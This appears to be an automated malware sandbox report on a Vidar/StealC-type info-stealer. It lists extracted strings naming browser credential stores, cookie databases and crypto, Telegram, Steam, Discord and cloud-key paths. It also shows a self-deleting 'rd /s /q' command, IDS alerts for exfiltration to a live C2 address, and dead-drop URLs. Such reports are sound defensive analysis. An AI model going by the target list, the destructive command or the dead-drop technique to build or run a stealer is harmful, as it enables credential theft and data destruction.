%d:%d:%d.arcvdr1.pdb\Local Storage\leveldb_0.indexeddb.leveldb_formhistory.db_history.db_cookies.db_passwords.db_webdata.db_key4.db\key4.dbfile_dataLogin DataWeb DataoperaOperachrome-extension_[Processes][Software]\storage\default\\.aws\errors\\Telegram Desktop\\Steam\\config\\.azure\ Stable\\.IdentityService\\discord\/c timeout /t 10 & rd /s /q "C:\ProgramData\" & rd /s /q "C:\ProgramData\\..\.ZDISPLAYOpera GXEXCEPTION_INT_OVERFLOWEXCEPTION_FLT_OVERFLOWEXCEPTION_STACK_OVERFLOWEXCEPTION_FLT_UNDERFLOWPOSTEXCEPTION_BREAKPOINT\Local Storage\leveldb\CURRENTEXCEPTION_DATATYPE_MISALIGNMENTEXCEPTION_FLT_INEXACT_RESULTGETEXCEPTION_IN_PAGE_ERRORdQw4w9WgXcQEXCEPTION_SINGLE_STEPGdipCreateBitmapFromHBITMAPEXCEPTION_INT_DIVIDE_BY_ZEROEXCEPTION_FLT_DIVIDE_BY_ZEROEXCEPTION_NONCONTINUABLE_EXCEPTIONUNKNOWN EXCEPTIONEXCEPTION_INVALID_DISPOSITIONEXCEPTION_PRIV_INSTRUCTIONEXCEPTION_ILLEGAL_INSTRUCTIONEXCEPTION_FLT_INVALID_OPERATIONEXCEPTION_ACCESS_VIOLATIONEXCEPTION_FLT_STACK_CHECKEXCEPTION_FLT_DENORMAL_OPERANDEXCEPTION_ARRAY_BOUNDS_EXCEEDED%d MBIndexedDBOCALAPPDATA?<Host><Port><User><Pass encoding="base64">http://localhost:"webSocketDebuggerUrl":6^userContextId=4294967295465 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73ws://localhost:9223.metadata-v2:22.ps15121Windows 11HTTP/1.1HARDWAR

Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_004062D5 FindFirstFileW,FindClose,	0_2_004062D5
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_00402E18 FindFirstFileW,	0_2_00402E18
Source: C:\Users\user\Desktop\25xTHcaF7V.exe	Code function: 0_2_00406C9B DeleteFileW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	0_2_00406C9B
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009ADC54 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009ADC54
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009BA087 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009BA087
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009BA1E2 SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,	13_2_009BA1E2
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009AE472 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,	13_2_009AE472
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009BA570 FindFirstFileW,Sleep,FindNextFileW,FindClose,	13_2_009BA570
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009B66DC FindFirstFileW,FindNextFileW,FindClose,	13_2_009B66DC
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_0097C622 FindFirstFileExW,	13_2_0097C622
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009B73D4 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,	13_2_009B73D4
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009B7333 FindFirstFileW,FindClose,	13_2_009B7333
Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com	Code function: 13_2_009AD921 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,	13_2_009AD921

Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\634977	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\634977\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	File opened: C:\Users\user\	Jump to behavior

Source: chrome.exe

Memory has grown: Private usage: 5MB later: 31MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2859378 - Severity 1 - ETPRO MALWARE Win32/Stealc/Vidar Stealer Host Details Exfil (POST) M2 : 192.168.2.12:49722 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2049087 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M1 : 192.168.2.12:49724 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49726 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49727 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49758 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49776 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49750 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49755 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49755 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 5.75.209.106:443 -> 192.168.2.12:49724
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49756 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49756 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49757 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49757 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49792 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49792 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2051831 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config M1 : 5.75.209.106:443 -> 192.168.2.12:49725
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49800 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49800 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49835 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49835 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49816 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49816 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49821 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49821 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49874 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2859636 - Severity 1 - ETPRO MALWARE Vidar/StealC CnC Exfil via SQL Database (POST) : 192.168.2.12:49874 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49924 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49943 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49962 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49954 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49949 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49930 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49948 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49944 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49942 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49946 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49947 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49951 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49958 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49952 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49953 -> 5.75.209.106:443
Source: Network traffic	Suricata IDS: 2059331 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Style Headers In HTTP POST M2 : 192.168.2.12:49959 -> 5.75.209.106:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: https://steamcommunity.com/profiles/76561199819539662

Source: global traffic

TCP traffic: 192.168.2.12:49731 -> 1.1.1.1:53

Source: global traffic

HTTP traffic detected: GET /sc1phell HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 2.22.242.105 2.22.242.105
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 149.154.167.99 149.154.167.99
Source: Joe Sandbox View	IP Address: 18.238.49.74 18.238.49.74

Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45
Source: unknown	TCP traffic detected without corresponding DNS query: 13.107.246.45

Source: C:\Users\user\AppData\Local\Temp\634977\Surrey.com

Code function: 13_2_009BD889 InternetReadFile,SetEvent,GetLastError,SetEvent,

13_2_009BD889

Source: global traffic	HTTP traffic detected: GET /sc1phell HTTP/1.1Host: t.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0Host: tlfiyat.shopConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIpbbJAQipncoBCO6LywEIlKHLAQic/swBCPqYzQEIhaDNAQjcvc0BCNrDzQEIj8rNAQi5ys0BCJ/RzQEI3NPNAQjR1s0BCPTWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CI+2yQEIpbbJAQipncoBCO6LywEIlKHLAQic/swBCPqYzQEIhaDNAQjcvc0BCNrDzQEIj8rNAQi5ys0BCJ/RzQEI3NPNAQjR1s0BCPTWzQEIqNjNAQj5wNQVGLrSzQEY642lFw==Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531 HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"sec-ch-ua-platform-version: "10.0.0"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/SSR-extension.bb64361f77a4185b4ba3.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=3A35C6D9C75F44F1A696E1F20ED10EDD.RefC=2025-01-23T19:40:11Z; USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; MUIDB=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/web-worker.c7d27109b98aa5c6a189.js HTTP/1.1Host: ntp.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-viewport-height: 876sec-ch-ua-arch: "x86"sec-ch-viewport-width: 1232sec-ch-ua-platform-version: "10.0.0"downlink: 1.5sec-ch-ua-bitness: "64"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-model: ""sec-ch-prefers-color-scheme: lightsec-ch-ua-platform: "Windows"device-memory: 8rtt: 100sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-full-version: "117.0.2045.47"sec-ch-dpr: 1ect: 4gAccept: /sec-edge-ntp: {"back_block":0,"bg_cur":{},"bg_img_typ":"bing","exp":["msQuickLinksDefaultOneRow","msShoppingWebAssistOnNtp","msShoppingHistogramsOnNtp","msEnableWinHPNewTabBackButtonFocusAndClose","msCustomMaxQuickLinks","msMaxQuickLinksAt20","msAllowThemeInstallationFromChromeStore","msEdgeSplitWindowPrivateTarget","msEdgeSplitWindowLinkMode"],"feed":0,"feed_dis":"onscroll","layout":1,"quick_links_opt":1,"sel_feed_piv":"","show_greet":true,"vt_opened":false}Sec-Fetch-Site: same-originSec-Fetch-Mode: same-originSec-Fetch-Dest: workerReferer: https://ntp.msn.com/edge/ntp?locale=en-GB&title=New%20tab&dsp=1&sp=Bing&isFREModalBackground=1&startpage=1&PC=U531Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: _C_ETH=1; sptmarket=en-GB\|\|us\|en-us\|en-us\|en\|\|cf=8\|RefA=3A35C6D9C75F44F1A696E1F20ED10EDD.RefC=2025-01-23T19:40:11Z; USRLOC=; MUID=36CB6A348F62672B3E3A7F498E00663A; MUIDB=36CB6A348F62672B3E3A7F498E00663A; _EDGE_S=F=1&SID=31C482BC84B769983F0597C18506681B; _EDGE_V=1
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AcmIXbpGoRruM6Rg2pdHIUfNGnvAwJcqpFoWJV4Xd6PeYFnv5YpJ0-GVzjWL6XpCDzrg9cVo2bTwfPVau85UdyeFfZQe-rOdS7oyguq-391NmfeQd9WZZkjpgIbL1I5KKEcAxlKa5Z8JDrufy52udyO9TokqhOw4Sbnj/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_85_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/vendors.a8bc96a9c4710d87d862.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/microsoft.7fc3109769390e0f7912.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /bundles/v1/edgeChromium/latest/common.f7b45d2c12f269c9e987.js HTTP/1.1Host: assets.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://ntp.msn.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
